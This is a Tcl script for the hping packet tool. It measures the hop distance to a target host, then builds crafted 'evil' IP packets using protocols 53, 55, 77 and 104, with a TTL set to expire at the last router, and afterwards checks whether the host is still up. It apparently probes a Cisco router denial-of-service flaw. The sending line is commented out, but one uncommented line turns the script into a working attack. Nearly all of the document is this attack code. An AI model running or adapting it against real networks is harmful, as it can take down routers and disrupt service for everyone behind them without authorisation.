################################################################################
#
# Helper functions
# This will be part of the hping standard library (possibly modified)
#

# Return the name of the output interface for address addr
proc outifname addr {
	set ifa [hping outifa $addr]
	set interfaces [hping iflist]
	foreach i $interfaces {
		if {$ifa == [lindex $i 1]} {
			return [lindex $i 0]
		}
	}
	error "Unable to find the output interface name for $addr"
}

proc GetApdField {protocol field packet} {
	set re "$protocol\\(.*?$field=(.*?)\[,\\)\].*?\\)"
	if [regexp $re $packet match value] {
		return $value
	} else {
		return {}
	}
}

proc GetIpSaddr packet { return [GetApdField ip saddr $packet] }
proc GetIpDaddr packet { return [GetApdField ip daddr $packet] }
proc GetIpTtl packet { return [GetApdField ip ttl $packet] }
proc GetTcpSport packet { return [GetApdField tcp sport $packet] }
proc GetTcpDport packet { return [GetApdField tcp dport $packet] }
proc GetIcmpType packet { return [GetApdField icmp type $packet ] }
proc GetIcmpCode packet { return [GetApdField icmp code $packet ] }
proc GetIcmpId packet { return [GetApdField icmp id $packet ] }

# Return non-zero if the host addr seems awake.
# This is done sending a TCP ACK packet and an ICMP echo request
# and searching for at least a reply.
proc isawake addr {
	set addr [hping resolve $addr]
	set ifname [outifname $addr]
	set ifaddr [hping outifa $addr]
	
	hping recv eth0 0

	set ip "ip(saddr=$ifaddr,daddr=$addr,ttl=64)"
	append ack $ip "+tcp(sport=11005,dport=11111,flags=a)"
	append icmp $ip "+icmp(type=8,code=8,id=11111)"

	hping send $ack
	hping send $icmp

	for {set i 0} {$i < 10} {incr i} {
		set packets [hping recv $ifname 100 0]
		foreach p $packets {
			if {([GetIpSaddr $p] == $addr) && (([GetIcmpId $p] == 11111) || ([GetTcpSport $p] == 11111))} {
			     	return 1;
			     }
		}
	}
	return 0;
}

#
# End of the hping standard library
#
################################################################################

#
# Start
#
if {[llength $argv] == 0} {
	puts "Usage: hping exec countops.htcl targethost"
}

set target [hping resolve [lindex $argv 0]]
puts "Target IP: $target"

set outif [outifname $target]
puts "Output Interface: $outif"

set outifa [hping outifa $target]
puts "Output Interface address: $outifa"

#
# Initialize the interface in reception
#
hping recv eth0 0

#
# Send an ACK packet to port 11111
# The script use the RST reply to guess the Hops distance
#
set ack "ip(saddr=$outifa,daddr=$target,ttl=64)+"
append ack "tcp(sport=11005,dport=11111,flags=a)"
puts "sending the ACK packet..."
hping send $ack

# 
# Wait up to 3 seconds for incoming packets
# Note that timeout is in milliseconds
#
set ttl {}
for {set i 0} {$i < 30} {incr i} {
	set packets [hping recv $outif 100 0]
	foreach p $packets {
		if {[string match "*saddr=$target*" $p]} {
			set ttl [GetIpTtl $p]
			set i 30
			break
		}
	}
}

if {$ttl == {}} {
	puts "Sorry, no response back from $target"
	exit 1
}

set hops [expr 32-($ttl%32)]
puts "Hops distance appears to be: $hops"

#
# Ready to test the CISCO problem
#

incr hops -1
foreach protocol {53 55 77 104} {
	puts "Sending evil packet with protocol $protocol"
	set evil "ip(saddr=$outifa,daddr=$target,ttl=$hops,proto=$protocol)+"
	append evil "data(str=01234567890123456789123456)"
	#hping send $evil
}

#
# Test if the host is still awake
#

puts "Waiting for 3 seconds..."
after 3000
if [isawake $target] {
	puts "The host appears to be still alive"
} else {
	puts "The host appears to be down: vulnerable router?"
}
